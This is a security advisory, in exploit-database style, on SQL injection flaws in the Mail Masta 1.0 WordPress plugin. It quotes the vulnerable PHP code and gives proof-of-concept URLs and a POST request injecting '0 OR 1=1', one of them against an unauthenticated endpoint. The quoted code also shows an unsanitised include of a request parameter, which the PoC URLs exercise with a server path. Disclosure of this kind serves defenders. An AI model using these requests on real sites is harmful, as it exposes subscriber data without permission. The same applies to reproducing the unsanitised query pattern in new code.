WordPress Mail Masta 1.0 SQL Injection

2017.02.24
Credit: Hanley Shun
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Multiple SQL injection vulnerabilities in Mail Masta (aka mail-masta) plugin 1.0 for Wordpress. # Date: 02/18/2017 # Exploit Author: Hanley Shun # Vendor Homepage: https://github.com/hamkovic/ # Software Link: https://www.exploit-db.com/apps/78745b48b15bf2b81153556ef1c8ec48-mail-masta.zip # Version: 1.0 # Tested on: Kali Linux x64, Ubuntu 14.04 x64 # CVE : [CVE-2017-6095, CVE-2017-6096, CVE-2017-6097, CVE-2017-6098] Mail-Masta SQL Injection Page: ./wp-content/plugins/mail-masta/inc/lists/csvexport.php (Unauthenticated) GET Parameter: list_id http://my_wp_app/wp-content/plugins/mail-masta/inc/lists/csvexport.php?list_id=0+OR+1%3D1&pl=/var/www/html/wordpress/wp-load.php csvexport.php: $list_id=$_GET['list_id']; global $wpdb; $mail_subscribers = $wpdb->prefix . "masta_subscribers"; $masta_list = $wpdb->prefix . "masta_list"; $check_sql = "SELECT * FROM $mail_subscribers WHERE list_id = $list_id"; $check_list="SELECT * FROM $masta_list WHERE list_id= $list_id"; $wp_list=$wpdb->get_results($check_sql); $wp_list_s=$wpdb->get_results($check_list); Page: ./wp-content/plugins/mail-masta/inc/lists/view-list.php (Requires Wordpress admin) GET Parameter: filter_list http://my_wp_app/wp-admin/admin.php?page=masta-lists&action=view_list&filter_list=0+OR+1%3D1 view-list.php: global $wpdb; $list_id = $_GET['filter_list']; $masta_list = $wpdb->prefix . "masta_list"; $masta_subscribers = $wpdb->prefix . "masta_subscribers"; $listdata = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $masta_list WHERE list_id= $list_id",$query)); $list_subscribers = $wpdb->get_var( $wpdb->prepare("SELECT COUNT( `list_id` ) FROM $masta_subscribers WHERE list_id= $list_id AND status=1",$query)); Page: ./wp-content/plugins/mail-masta/inc/campaign/count_of_send.php (Requires Wordpress admin) POST Parameter: camp_id http://my_wp_app/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php/?pl=/var/www/html/wordpress/wp-load.php count_of_send.php: include($_GET['pl']); global $wpdb; $camp_id=$_POST['camp_id']; $masta_reports = $wpdb->prefix . "masta_reports"; $count=$wpdb->get_results("SELECT count(*) co from $masta_reports where camp_id=$camp_id and status=1"); Page: ./wp-content/plugins/mail-masta/inc/campaign_save.php (Requires Wordpress admin) POST Parameter: list_id campaign_save.php: $list_id=$_POST['list_id']; $check_list = $wpdb->get_var("SELECT count(id) FROM wp_masta_subscribers where list_id=$list_id"); POST /wp-admin/admin-ajax.php?id= HTTP/1.1 ...snip... action=my_action&url=%2Fvar%2Fwww%2Fhtml%2Fwp-content%2Fplugins%2Fmail-masta%2Finc%2Fcampaign_save.php&sender_selected_list_check=check&list_id=1+OR+1%3D1


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